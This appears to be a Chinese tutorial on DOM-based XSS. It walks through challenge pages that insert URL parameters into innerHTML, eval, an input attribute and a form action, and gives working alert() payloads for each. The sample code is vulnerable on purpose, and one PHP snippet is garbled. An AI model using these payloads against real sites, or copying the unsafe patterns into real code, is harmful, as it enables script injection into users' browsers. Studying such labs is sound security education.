XSS-DOM-1 - 技术栈

1 innerHTML

html 复制代码

<body>
    <h2 id="spaghet"></h2>
</body>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
</html>

1.1 innerHTML在JS是双向功能：

1.1.1获取对象的内容

如：<div id="aa">这是内容</div>

我们可以通过 document.getElementById('aa').innerHTML 来获取id为aa的对象的内嵌内容；

1.1.2或向对象插入内容

也可以对某对象插入内容，如 document.getElementById('abc').innerHTML='这是被插入的内容';

这样就能向id为abc的对象插入内容。

1.2 代码分析

javascript 复制代码

spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"

这个innerHTML就是通过spaghet这个标签id锁定到html中的标签，然后再按照后面的=来表明输出的值

1.2.1 直接访问

直接访问发现是按照js中的代码直接拼接的，get传参的可变参数默认为somebody，那我们对他进行赋值来看看

1.2.2 赋值分析

直接就变成了1进行拼接，那我们试着输入恶意代码试一下（注意:innerHTML限制了<script>标签）

1.2.3 payload

javascript 复制代码

test1.html?somebody=<img src=1 onerror=alert(1337)>

2

2.1 代码分析

首先jeff如果没传参默认为JEFFF，eval代码执行，先让ma接收上面的传参然后一秒钟过后将执行的ma赋值给h2，所以显示内容为 Ma name JEFFF

html 复制代码

<body>
  <h2 id="maname"></h2>
</body>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

2.2 payload

eval在js中也是命令执行，我们先闭合前面的双引号，但是我后面也有一个双引号，我可以直接注释掉

html 复制代码

1 ?jeff=aaa";alert(1)//

2 ?jeff=111";alert(1);"

2.2.1 代码调试

传参是这个，然后当我们再下一步的时候，发现直接弹1了，并没有执行下一步的延迟一秒

eval 执行代码 ：eval 会把字符串当 JS 代码执行，其中 ;alert(1)// 部分：
- ; 分割语句，让 alert(1) 独立执行；
- // 注释掉后面的多余引号（避免语法错误），最终触发 alert(1) 弹窗。

3 input标签

html 复制代码

</head>
<body>
 <div id="uganda"></div>
</body>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
</html>

3.1 代码分析

3.2 payload

html 复制代码

test1.html?wey=a" autofocus onfocus="alert(1)

4 form表单

form表单通常我们需要注意他的这三个参数，action=""这个是表示我应该接的后端的程序应该是那个php或者1后端的代码来接，enctype第一个是默认值，表示的是我输入的是文字，密码等，第二个"multipart/form-data是表示的文件上传

4.1 form属性

4.1.1 action

4.1.1.1 前端html

<body>

<form action="test2.php" method="post">

<input type="text" name="username" id="">

<input type="submit" value="submit">

</form>

</body>

4.1.1.2 后端test2.php

<?php

$username =$ _POST $'username'$ ;

echo $username;

4.1.1.3 测试

先访问前端页面，因为get传参，看能不能传参到后端用来说明action属性的作用

提交后传到后端

4.1.1.4 当action=#

当为#的时候，会把页面提交到当前的页面不会进行跳转

4.2 漏洞源码

html 复制代码

 <form id="ricardo" method="GET" >
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
</body>

<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>
</html>

4.2.1 javascript伪协议

分析可知action可以接收javascript伪协议，执行其中的方法那么再回到4.2这个题本省就变的很简单了，直接给他赋值伪协议就行了

html 复制代码

  <form action="javascript:alert(1)" method="post">
        <input type="text" name="username" id="">
        <input type="submit" value="submit">

4.3 payload

相当于我直接给action传参

test1.html?ricardo=javascript:alert(1)